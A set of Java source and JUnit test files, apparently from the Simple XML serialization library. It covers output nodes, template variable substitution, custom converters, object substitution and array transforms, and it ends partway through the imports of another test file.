public String getComment() {
return comment;
}
/**
* This method is used to determine if this node is the root
* node for the XML document. The root node is the first node
* in the document and has no sibling nodes. This will return
* true although the document node is not strictly the root.
*
* @return returns true although this is not really a root
*/
public boolean isRoot() {
return true;
}
/**
* The <code>Mode</code> is used to indicate the output mode
* of this node. Three modes are possible, each determines
* how a value, if specified, is written to the resulting XML
* document. This is determined by the <code>setData</code>
* method which will set the output to be CDATA or escaped,
* if neither is specified the mode is inherited.
*
* @return this returns the mode of this output node object
*/
public Mode getMode() {
return mode;
}
/**
* This is used to set the output mode of this node to either
* be CDATA, escaped, or inherited. If the mode is set to data
* then any value specified will be written in a CDATA block,
* if this is set to escaped values are escaped. If however
* this method is set to inherited then the mode is inherited
* from the parent node.
*
* @param mode this is the output mode to set the node to
*/
public void setMode(Mode mode) {
this.mode = mode;
}
/**
* This method is used for convenience to add an attribute node
* to the attribute <code>NodeMap</code>. The attribute added
* can be removed from the element by using the node map.
*
* @param name this is the name of the attribute to be added
* @param value this is the value of the node to be added
*
* @return this returns the node that has just been added
*/
public OutputNode setAttribute(String name, String value) {
return table.put(name, value);
}
/**
* This returns a <code>NodeMap</code> which can be used to add
* nodes to this node. The node map returned by this is a dummy
* map, as this output node is never written to the XML document.
*
* @return returns the node map used to manipulate attributes
*/
public NodeMap<OutputNode> getAttributes() {
return table;
}
/**
* This is used to change the name of an output node. This will
* only affect the name of the node if the node has not yet been
* committed. If the node is committed then this will not be
* reflected in the resulting XML generated.
*
* @param name this is the name to change the node to
*/
public void setName(String name) {
this.name = name;
}
/**
* This is used to set a text value to the element. This effect
* of adding this to the document node will not change what
* is actually written to the generated XML document.
*
* @param value this is the text value to add to this element
*/
public void setValue(String value) {
this.value = value;
}
/**
* This is used to set a text comment to the element. This will
* be written just before the actual element is written. Only a
* single comment can be set for each output node written.
*
* @param comment this is the comment to set on the node
*/
public void setComment(String comment) {
this.comment = comment;
}
/**
* This is used to set the output mode of this node to either
* be CDATA or escaped. If this is set to true the any value
* specified will be written in a CDATA block, if this is set
* to false the values is escaped. If however this method is
* never invoked then the mode is inherited from the parent.
*
* @param data if true the value is written as a CDATA block
*/
public void setData(boolean data) {
if(data) {
mode = Mode.DATA;
} else {
mode = Mode.ESCAPE;
}
}
/**
* This is used to create a child element within the element that
* this object represents. When a new child is created with this
* method then the previous child is committed to the document.
* The created <code>OutputNode</code> object can be used to add
* attributes to the child element as well as other elements.
*
* @param name this is the name of the child element to create
*/
public OutputNode getChild(String name) throws Exception {
return writer.writeElement(this, name);
}
/**
* This is used to remove any uncommitted changes. Removal of an
* output node can only be done if it has no siblings and has
* not yet been committed. If the node is committed then this
* will throw an exception to indicate that it cannot be removed.
*
* @throws Exception thrown if the node cannot be removed
*/
public void remove() throws Exception {
if(stack.isEmpty()) {
throw new NodeException("No root node");
}
stack.bottom().remove();
}
/**
* This will commit this element and any uncommitted elements
* elements that are decendents of this node. For instance if
* any child or grand child remains open under this element
* then those elements will be closed before this is closed.
*
* @throws Exception this is thrown if there is an I/O error
* or if a root element has not yet been created
*/
public void commit() throws Exception {
if(stack.isEmpty()) {
throw new NodeException("No root node");
}
stack.bottom().commit();
}
/**
* This is used to determine whether this node has been committed.
* This will return true if no root element has been created or
* if the root element for the document has already been commited.
*
* @return true if the node is committed or has not been created
*/
public boolean isCommitted() {
return stack.isEmpty();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/TemplateEngine.java<|end_filename|>
/*
* TemplateEngine.java May 2005
*
* Copyright (C) 2005, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.filter.Filter;
/**
* The <code>TemplateEngine</code> object is used to create strings
* which have system variable names replaced with their values.
* This is used by the <code>Source</code> context object to ensure
* that values taken from an XML element or attribute can be values
* values augmented with system or environment variable values.
* <pre>
*
* tools=${java.home}/lib/tools.jar
*
* </pre>
* Above is an example of the use of an system variable that
* has been inserted into a plain Java properties file. This will
* be converted to the full path to tools.jar when the system
* variable "java.home" is replaced with the matching value.
*
* @author <NAME>
*/
class TemplateEngine {
/**
* This is used to store the text that are to be processed.
*/
private Template source;
/**
* This is used to accumulate the bytes for the variable name.
*/
private Template name;
/**
* This is used to accumulate the transformed text value.
*/
private Template text;
/**
* This is the filter used to replace templated variables.
*/
private Filter filter;
/**
* This is used to keep track of the buffer seek offset.
*/
private int off;
/**
* Constructor for the <code>TemplateEngine</code> object. This is
* used to create a parsing buffer, which can be used to replace
* filter variable names with their corrosponding values.
*
* @param filter this is the filter used to provide replacements
*/
public TemplateEngine(Filter filter) {
this.source = new Template();
this.name = new Template();
this.text = new Template();
this.filter = filter;
}
/**
* This method is used to append the provided text and then it
* converts the buffered text to return the corrosponding text.
* The contents of the buffer remain unchanged after the value
* is buffered. It must be cleared if used as replacement only.
*
* @param value this is the value to append to the buffer
*
* @return returns the value of the buffer after the append
*/
public String process(String value) {
if(value.indexOf('$') < 0) {
return value;
}
try {
source.append(value);
parse();
return text.toString();
}finally {
clear();
}
}
/**
* This extracts the value from the Java properties text. This
* will basically ready any text up to the first occurance of
* an equal of a terminal. If a terminal character is read
* this returns without adding the terminal to the value.
*/
private void parse(){
while(off < source.count){
char next = source.buf[off++];
if(next == '$') {
if(off < source.count)
if(source.buf[off++] == '{') {
name();
continue;
} else {
off--;
}
}
text.append(next);
}
}
/**
* This method is used to extract text from the property value
* that matches the pattern "${ *TEXT }". Such patterns within
* the properties file are considered to be system
* variables, this will replace instances of the text pattern
* with the matching system variable, if a matching
* variable does not exist the value remains unmodified.
*/
private void name() {
while(off < source.count) {
char next = source.buf[off++];
if(next == '}') {
replace();
break;
} else {
name.append(next);
}
}
if(name.length() >0){
text.append("${");
text.append(name);
}
}
/**
* This will replace the accumulated for an system variable
* name with the value of that system variable. If a value
* does not exist for the variable name, then the name is put
* into the value so that the value remains unmodified.
*/
private void replace() {
if(name.length() > 0) {
replace(name);
}
name.clear();
}
/**
* This will replace the accumulated for an system variable
* name with the value of that system variable. If a value
* does not exist for the variable name, then the name is put
* into the value so that the value remains unmodified.
*
* @param name this is the name of the system variable
*/
private void replace(Template name) {
replace(name.toString());
}
/**
* This will replace the accumulated for an system variable
* name with the value of that system variable. If a value
* does not exist for the variable name, then the name is put
* into the value so that the value remains unmodified.
*
* @param name this is the name of the system variable
*/
private void replace(String name) {
String value = filter.replace(name);
if(value == null) {
text.append("${");
text.append(name);
text.append("}");
}else {
text.append(value);
}
}
/**
* This method is used to clear the contents of the buffer. This
* includes the contents of all buffers used to transform the
* value of the buffered text with system variable values.
* Once invoked the instance can be reused as a clean buffer.
*/
public void clear() {
name.clear();
text.clear();
source.clear();
off = 0;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/AnnotationConverterTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringWriter;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.reflect.Constructor;
import java.util.Map;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
public class AnnotationConverterTest extends ValidationTestCase {
@Retention(RetentionPolicy.RUNTIME)
private static @interface Convert{
public Class<? extends Converter> value();
}
private static interface Converter<T> {
public T read(InputNode node) throws Exception;
public void write(OutputNode node, T value) throws Exception;
}
private static class CowConverter implements Converter<Cow> {
public Cow read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String age = node.getAttribute("age").getValue();
return new Cow(name, Integer.parseInt(age));
}
public void write(OutputNode node, Cow cow) throws Exception {
node.setAttribute("name", cow.getName());
node.setAttribute("age", String.valueOf(cow.getAge()));
node.setAttribute("legs", String.valueOf(cow.getLegs()));
}
}
private static class ChickenConverter implements Converter<Chicken> {
public Chicken read(InputNode node) throws Exception {
String name = node.getAttribute("name").getValue();
String age = node.getAttribute("age").getValue();
return new Chicken(name, Integer.parseInt(age));
}
public void write(OutputNode node, Chicken chicken) throws Exception {
node.setAttribute("name", chicken.getName());
node.setAttribute("age", String.valueOf(chicken.getAge()));
node.setAttribute("legs", String.valueOf(chicken.getLegs()));
}
}
private static class Animal {
private final String name;
private final int age;
private final int legs;
public Animal(String name, int age, int legs) {
this.name = name;
this.legs = legs;
this.age = age;
}
public String getName() {
return name;
}
public int getAge(){
return age;
}
public int getLegs() {
return legs;
}
}
private static class Chicken extends Animal {
public Chicken(String name, int age) {
super(name, age, 2);
}
}
private static class Cow extends Animal {
public Cow(String name, int age) {
super(name, age, 4);
}
}
private static class AnnotationStrategy implements Strategy {
private final Strategy strategy;
public AnnotationStrategy(Strategy strategy) {
this.strategy = strategy;
}
public Value read(Type type, NodeMap<InputNode> node, Map map) throws Exception {
Value value = strategy.read(type, node, map);
Convert convert = type.getAnnotation(Convert.class);
InputNode parent = node.getNode();
if(convert != null) {
Class<? extends Converter> converterClass = convert.value();
Constructor<? extends Converter> converterConstructor = converterClass.getDeclaredConstructor();
if(!converterConstructor.isAccessible()) {
converterConstructor.setAccessible(true);
}
Converter converter = converterConstructor.newInstance();
Object result = converter.read(parent);
return new Wrapper(result);
}
return value;
}
public boolean write(Type type, Object value, NodeMap<OutputNode> node, Map map) throws Exception {
Convert convert = type.getAnnotation(Convert.class);
OutputNode parent = node.getNode();
if(convert != null) {
Class<? extends Converter> converterClass = convert.value();
Constructor<? extends Converter> converterConstructor = converterClass.getDeclaredConstructor();
if(!converterConstructor.isAccessible()) {
converterConstructor.setAccessible(true);
}
Converter converter = converterConstructor.newInstance();
converter.write(parent, value);
return true;
}
return strategy.write(type, value, node, map);
}
}
public static class Wrapper implements Value {
private Object data;
public Wrapper(Object data){
this.data = data;
}
public int getLength() {
return 0;
}
public Class getType() {
return data.getClass();
}
public Object getValue() {
return data;
}
public boolean isReference() {
return true;
}
public void setValue(Object data) {
this.data = data;
}
}
private static final String SOURCE =
"<farmExample>"+
" <chicken name='Hen' age='1' legs='2'/>"+
" <cow name='Bull' age='4' legs='4'/>"+
"</farmExample>";
@Root
private static class FarmExample {
@Element
@Convert(ChickenConverter.class)
private Chicken chicken;
@Element
@Convert(CowConverter.class)
private Cow cow;
public FarmExample(@Element(name="chicken") Chicken chicken, @Element(name="cow") Cow cow) {
this.chicken = chicken;
this.cow = cow;
}
public Chicken getChicken() {
return chicken;
}
public Cow getCow() {
return cow;
}
}
public void testAnnotationConversion() throws Exception {
Strategy strategy = new TreeStrategy();
Strategy converter = new AnnotationStrategy(strategy);
Serializer serializer = new Persister(converter);
StringWriter writer = new StringWriter();
FarmExample example = serializer.read(FarmExample.class, SOURCE);
assertEquals(example.getCow().getName(), "Bull");
assertEquals(example.getCow().getAge(), 4);
assertEquals(example.getCow().getLegs(), 4);
assertEquals(example.getChicken().getName(), "Hen");
assertEquals(example.getChicken().getAge(), 1);
assertEquals(example.getChicken().getLegs(), 2);
serializer.write(example, System.out);
serializer.write(example, writer);
String text = writer.toString();
assertElementHasAttribute(text, "/farmExample/chicken", "name", "Hen");
assertElementHasAttribute(text, "/farmExample/chicken", "age", "1");
assertElementHasAttribute(text, "/farmExample/chicken", "legs", "2");
assertElementHasAttribute(text, "/farmExample/cow", "name", "Bull");
assertElementHasAttribute(text, "/farmExample/cow", "age", "4");
assertElementHasAttribute(text, "/farmExample/cow", "legs", "4");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/FieldScannerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Collection;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Contact;
import org.simpleframework.xml.core.FieldScanner;
import junit.framework.TestCase;
public class FieldScannerTest extends TestCase {
@Root(name="name")
public static class Example {
@ElementList(name="list", type=Entry.class)
private Collection<Entry> list;
@Attribute(name="version")
private int version;
@Attribute(name="name")
private String name;
}
@Root(name="entry")
public static class Entry {
@Attribute(name="text")
public String text;
}
public void testExample() throws Exception {
FieldScanner scanner = new FieldScanner(new DetailScanner(Example.class), new Support());
ArrayList<Class> list = new ArrayList<Class>();
for(Contact contact : scanner) {
list.add(contact.getType());
}
assertEquals(scanner.size(), 3);
assertTrue(list.contains(Collection.class));
assertTrue(list.contains(String.class));
assertTrue(list.contains(int.class));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AnnotationProviderTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.TreeSet;
import java.util.concurrent.ConcurrentHashMap;
import junit.framework.TestCase;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
public class AnnotationProviderTest extends TestCase {
public void testProvider() throws Exception {
assertTrue(ElementMap.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(Map.class, null).getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(HashMap.class, null).getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(ConcurrentHashMap.class, null).getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(LinkedHashMap.class, null).getClass()));
assertTrue(ElementMap.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(Map.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(Set.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(Collection.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(List.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(TreeSet.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(HashSet.class, null).getClass()));
assertTrue(ElementList.class.isAssignableFrom(new AnnotationFactory(new DetailScanner(AnnotationProviderTest.class), new Support()).getInstance(ArrayList.class, null).getClass()));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/Base64InputStream.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.IOException;
import java.io.InputStream;
public class Base64InputStream extends InputStream {
private char[] encoded;
private byte[] decoded;
private byte[] temp;
private int count;
public Base64InputStream(String source) {
this.encoded = source.toCharArray();
this.temp = new byte[1];
}
@Override
public int read() throws IOException {
int count = read(temp);
if(count == -1) {
return -1;
}
return temp[0] & 0xff;
}
@Override
public int read(byte[] array, int off, int len) throws IOException {
if(decoded == null) {
decoded = Base64Encoder.decode(encoded);
}
if(count >= decoded.length) {
return -1;
}
int size = Math.min(len, decoded.length - count);
if(size > 0) {
System.arraycopy(decoded, count, array, off, size);
count += size;
}
return size;
}
@Override
public String toString() {
return new String(decoded);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/SubstituteTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.core.Persist;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.core.Replace;
import org.simpleframework.xml.core.Resolve;
import org.simpleframework.xml.core.Validate;
import org.simpleframework.xml.ValidationTestCase;
public class SubstituteTest extends ValidationTestCase {
private static final String REPLACE_SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<substituteExample>\n"+
" <substitute class='org.simpleframework.xml.core.SubstituteTest$SimpleSubstitute'>some example text</substitute> \n\r"+
"</substituteExample>";
private static final String RESOLVE_SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<substituteExample>\n"+
" <substitute class='org.simpleframework.xml.core.SubstituteTest$YetAnotherSubstitute'>some example text</substitute> \n\r"+
"</substituteExample>";
@Root
private static class SubstituteExample {
@Element
public Substitute substitute;
public SubstituteExample() {
super();
}
public SubstituteExample(Substitute substitute) {
this.substitute = substitute;
}
}
@Root
private static class Substitute {
@Text
public String text;
}
private static class SimpleSubstitute extends Substitute {
@Replace
public Substitute replace() {
return new OtherSubstitute("this is the other substitute", text);
}
@Persist
public void persist() {
throw new IllegalStateException("Simple substitute should never be written only read");
}
}
private static class OtherSubstitute extends Substitute {
@Attribute
public String name;
public OtherSubstitute() {
super();
}
public OtherSubstitute(String name, String text) {
this.text = text;
this.name = name;
}
}
private static class YetAnotherSubstitute extends Substitute {
public YetAnotherSubstitute() {
super();
}
@Validate
public void validate() {
return;
}
@Resolve
public Substitute resolve() {
return new LargeSubstitute(text, "<NAME>", "Sesame Street", "Metropilis");
}
}
private static class LargeSubstitute extends Substitute {
@Attribute
private String name;
@Attribute
private String street;
@Attribute
private String city;
public LargeSubstitute() {
super();
}
public LargeSubstitute(String text, String name, String street, String city) {
this.name = name;
this.street = street;
this.city = city;
this.text = text;
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testReplace() throws Exception {
SubstituteExample example = serializer.read(SubstituteExample.class, REPLACE_SOURCE);
assertEquals(example.substitute.getClass(), SimpleSubstitute.class);
assertEquals(example.substitute.text, "some example text");
validate(example, serializer);
StringWriter out = new StringWriter();
serializer.write(example, out);
String text = out.toString();
example = serializer.read(SubstituteExample.class, text);
assertEquals(example.substitute.getClass(), OtherSubstitute.class);
assertEquals(example.substitute.text, "some example text");
validate(example, serializer);
}
public void testResolve() throws Exception {
SubstituteExample example = serializer.read(SubstituteExample.class, RESOLVE_SOURCE);
assertEquals(example.substitute.getClass(), LargeSubstitute.class);
assertEquals(example.substitute.text, "some example text");
validate(example, serializer);
StringWriter out = new StringWriter();
serializer.write(example, out);
String text = out.toString();
example = serializer.read(SubstituteExample.class, text);
assertEquals(example.substitute.getClass(), LargeSubstitute.class);
assertEquals(example.substitute.text, "some example text");
validate(example, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NamespaceAttributeTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import junit.framework.TestCase;
public class NamespaceAttributeTest extends TestCase {
private static final String SOURCE =
"<root xmlns='default' xmlns:a='A' xmlns:b='B'>" +
" <child a:attributeA='valueA' b:attributeB='valueB'>"+
" <leaf b:attributeC='c'/>"+
" </child>+" +
" <a:entry b:attributeD='valueD'/>"+
"</root>";
public void testAttributes() throws Exception {
InputNode root = NodeBuilder.read(new StringReader(SOURCE));
InputNode child = root.getNext();
NodeMap<InputNode> map = child.getAttributes();
assertEquals(root.getReference(), "default");
assertEquals(child.getReference(), "default");
assertEquals(map.get("attributeA").getValue(), "valueA");
assertEquals(map.get("attributeA").getPrefix(), "a");
assertEquals(map.get("attributeA").getReference(), "A");
assertEquals(map.get("attributeB").getValue(), "valueB");
assertEquals(map.get("attributeB").getPrefix(), "b");
assertEquals(map.get("attributeB").getReference(), "B");
InputNode leaf = child.getNext();
assertEquals(leaf.getReference(), "default");
assertEquals(leaf.getAttribute("attributeC").getValue(), "c");
assertEquals(leaf.getAttribute("attributeC").getPrefix(), "b");
assertEquals(leaf.getAttribute("attributeC").getReference(), "B");
InputNode entry = root.getNext();
assertEquals(entry.getReference(), "A");
assertEquals(entry.getAttribute("attributeD").getValue(), "valueD");
assertEquals(entry.getAttribute("attributeD").getPrefix(), "b");
assertEquals(entry.getAttribute("attributeD").getReference(), "B");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/PrimitiveArrayTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
public class PrimitiveArrayTransformTest extends ValidationTestCase {
@Root
public static class IntegerArrayExample {
@Attribute(required=false)
private int[] attribute;
@Element(required=false)
private int[] element;
@ElementList
private List<int[]> list;
@ElementArray
private int[][] array;
@Element
private NonPrimitive test;
@ElementList
private List<NonPrimitive> testList;
@ElementArray
private NonPrimitive[] testArray;
public IntegerArrayExample() {
super();
}
public IntegerArrayExample(int[] list) {
this.attribute = list;
this.element = list;
this.list = new ArrayList<int[]>();
this.list.add(list);
this.list.add(list);
this.array = new int[1][];
this.array[0] = list;
this.testList = new ArrayList<NonPrimitive>();
this.testList.add(null);
this.testList.add(null);
this.test = new NonPrimitive();
this.testArray = new NonPrimitive[1];
}
}
@Root
private static class NonPrimitive {
@Attribute
private String value = "text";
}
public void testRead() throws Exception {
ArrayTransform transform = new ArrayTransform(new IntegerTransform(), int.class);
int[] list = (int[])transform.read("1,2,3,4");
assertEquals(1, list[0]);
assertEquals(2, list[1]);
assertEquals(3, list[2]);
assertEquals(4, list[3]);
list = (int[])transform.read(" 123 ,\t\n "+
"1\n\r," +
"100, 23, \t32,\t 0\n,\n"+
"3\n\t");
assertEquals(123, list[0]);
assertEquals(1, list[1]);
assertEquals(100, list[2]);
assertEquals(23, list[3]);
assertEquals(32, list[4]);
assertEquals(0, list[5]);
assertEquals(3, list[6]);
}
public void testWrite() throws Exception {
ArrayTransform transform = new ArrayTransform(new IntegerTransform(), int.class);
String value = transform.write(new int[] { 1, 2, 3, 4});
assertEquals(value, "1, 2, 3, 4");
value = transform.write(new int[] {1, 0, 3, 4});
assertEquals(value, "1, 0, 3, 4");
}
public void testPersistence() throws Exception {
int[] list = new int[] { 1, 2, 3, 4 };
Persister persister = new Persister();
IntegerArrayExample example = new IntegerArrayExample(list);
StringWriter out = new StringWriter();
assertEquals(example.attribute[0], 1);
assertEquals(example.attribute[1], 2);
assertEquals(example.attribute[2], 3);
assertEquals(example.attribute[3], 4);
assertEquals(example.element[0], 1);
assertEquals(example.element[1], 2);
assertEquals(example.element[2], 3);
assertEquals(example.element[3], 4);
assertEquals(example.list.get(0)[0], 1);
assertEquals(example.list.get(0)[1], 2);
assertEquals(example.list.get(0)[2], 3);
assertEquals(example.list.get(0)[3], 4);
assertEquals(example.array[0][0], 1);
assertEquals(example.array[0][1], 2);
assertEquals(example.array[0][2], 3);
assertEquals(example.array[0][3], 4);
persister.write(example, out);
String text = out.toString();
System.out.println(text);
example = persister.read(IntegerArrayExample.class, text);
assertEquals(example.attribute[0], 1);
assertEquals(example.attribute[1], 2);
assertEquals(example.attribute[2], 3);
assertEquals(example.attribute[3], 4);
assertEquals(example.element[0], 1);
assertEquals(example.element[1], 2);
assertEquals(example.element[2], 3);
assertEquals(example.element[3], 4);
assertEquals(example.list.get(0)[0], 1);
assertEquals(example.list.get(0)[1], 2);
assertEquals(example.list.get(0)[2], 3);
assertEquals(example.list.get(0)[3], 4);
assertEquals(example.array[0][0], 1);
assertEquals(example.array[0][1], 2);
assertEquals(example.array[0][2], 3);
assertEquals(example.array[0][3], 4);
validate(example, persister);
example = new IntegerArrayExample(null);
out = new StringWriter();
persister.write(example, out);
text = out.toString();
validate(example, persister);
example = persister.read(IntegerArrayExample.class, text);
assertEquals(example.attribute, null);
assertEquals(example.element, null);
assertEquals(example.list.size(), 0);
assertEquals(example.array[0], null);
}
public void testCyclicPersistence() throws Exception {
int[] list = new int[] { 1, 2, 3, 4 };
CycleStrategy strategy = new CycleStrategy();
Persister persister = new Persister(strategy);
IntegerArrayExample example = new IntegerArrayExample(list);
StringWriter out = new StringWriter();
assertEquals(example.attribute[0], 1);
assertEquals(example.attribute[1], 2);
assertEquals(example.attribute[2], 3);
assertEquals(example.attribute[3], 4);
assertEquals(example.element[0], 1);
assertEquals(example.element[1], 2);
assertEquals(example.element[2], 3);
assertEquals(example.element[3], 4);
assertEquals(example.list.get(0)[0], 1);
assertEquals(example.list.get(0)[1], 2);
assertEquals(example.list.get(0)[2], 3);
assertEquals(example.list.get(0)[3], 4);
assertEquals(example.array[0][0], 1);
assertEquals(example.array[0][1], 2);
assertEquals(example.array[0][2], 3);
assertEquals(example.array[0][3], 4);
persister.write(example, out);
String text = out.toString();
assertElementHasAttribute(text, "/integerArrayExample", "id", "0");
assertElementHasAttribute(text, "/integerArrayExample/element", "id", "1");
assertElementHasAttribute(text, "/integerArrayExample/list", "id", "2");
assertElementHasAttribute(text, "/integerArrayExample/array", "id", "3");
assertElementHasAttribute(text, "/integerArrayExample/list/int", "reference", "1");
assertElementHasAttribute(text, "/integerArrayExample/array/int", "reference", "1");
assertElementHasValue(text, "/integerArrayExample/element", "1, 2, 3, 4");
validate(example, persister);
example = new IntegerArrayExample(null);
out = new StringWriter();
persister.write(example, out);
text = out.toString();
validate(example, persister);
example = persister.read(IntegerArrayExample.class, text);
assertEquals(example.attribute, null);
assertEquals(example.element, null);
assertEquals(example.list.size(), 0);
assertEquals(example.array[0], null);
assertElementHasAttribute(text, "/integerArrayExample", "id", "0");
assertElementHasAttribute(text, "/integerArrayExample/list", "id", "1");
assertElementHasAttribute(text, "/integerArrayExample/array", "id", "2");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ReadOnlyTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class ReadOnlyTest extends TestCase {
private static final String SOURCE =
"<example name='name'>"+
" <value>some text here</value>"+
"</example>";
@Root(name="example")
private static class ReadOnlyFieldExample {
@Attribute(name="name") private final String name;
@Element(name="value") private final String value;
public ReadOnlyFieldExample(@Attribute(name="name") String name, @Element(name="value") String value) {
this.name = name;
this.value = value;
}
}
@Root(name="example")
private static class ReadOnlyMethodExample {
private final String name;
private final String value;
public ReadOnlyMethodExample(@Attribute(name="name") String name, @Element(name="value") String value) {
this.name = name;
this.value = value;
}
@Attribute(name="name")
public String getName() {
return name;
}
@Element(name="value")
public String getValue() {
return value;
}
}
@Root(name="example")
private static class IllegalReadOnlyMethodExample {
private final String name;
private final String value;
public IllegalReadOnlyMethodExample(@Attribute(name="name") String name, @Element(name="value") String value) {
this.name = name;
this.value = value;
}
@Attribute(name="name")
public String getName() {
return name;
}
@Element(name="value")
public String getValue() {
return value;
}
@Element(name="illegal")
public String getIllegalValue() {
return value;
}
}
public void testReadOnlyField() throws Exception {
Persister persister = new Persister();
ReadOnlyFieldExample example = persister.read(ReadOnlyFieldExample.class, SOURCE);
assertEquals(example.name, "name");
assertEquals(example.value, "some text here");
}
public void testReadOnlyMethod() throws Exception {
Persister persister = new Persister();
ReadOnlyMethodExample example = persister.read(ReadOnlyMethodExample.class, SOURCE);
assertEquals(example.getName(), "name");
assertEquals(example.getValue(), "some text here");
}
public void testIllegalReadOnlyMethod() throws Exception {
boolean failure = false;
try {
Persister persister = new Persister();
IllegalReadOnlyMethodExample example = persister.read(IllegalReadOnlyMethodExample.class, SOURCE);
}catch(Exception e) {
failure = true;
}
assertTrue(failure);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Resolve.java<|end_filename|>
/*
* Resolve.java June 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>Resolve</code> method is used to resolve an object that
* has been deserialized from the XML document. This is used when the
* deserialized object whats to provide a substitute to itself within
* the object graph. This is particularly useful when an object is
* used to reference an external XML document, as it allows that XML
* document to be deserialized in to a new object instance.
* <p>
* This is similar to the <code>readResolve</code> method used within
* Java Object Serialization in that it is used to create a object to
* plug in to the object graph after it has been fully deserialized.
* Care should be taken when using this annotation as the object that
* is returned from the resolve method must match the field type such
* that the resolved object is an assignable substitute.
*
* @author <NAME>
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Resolve {
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ScatterTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.util.Dictionary;
import org.simpleframework.xml.util.Entry;
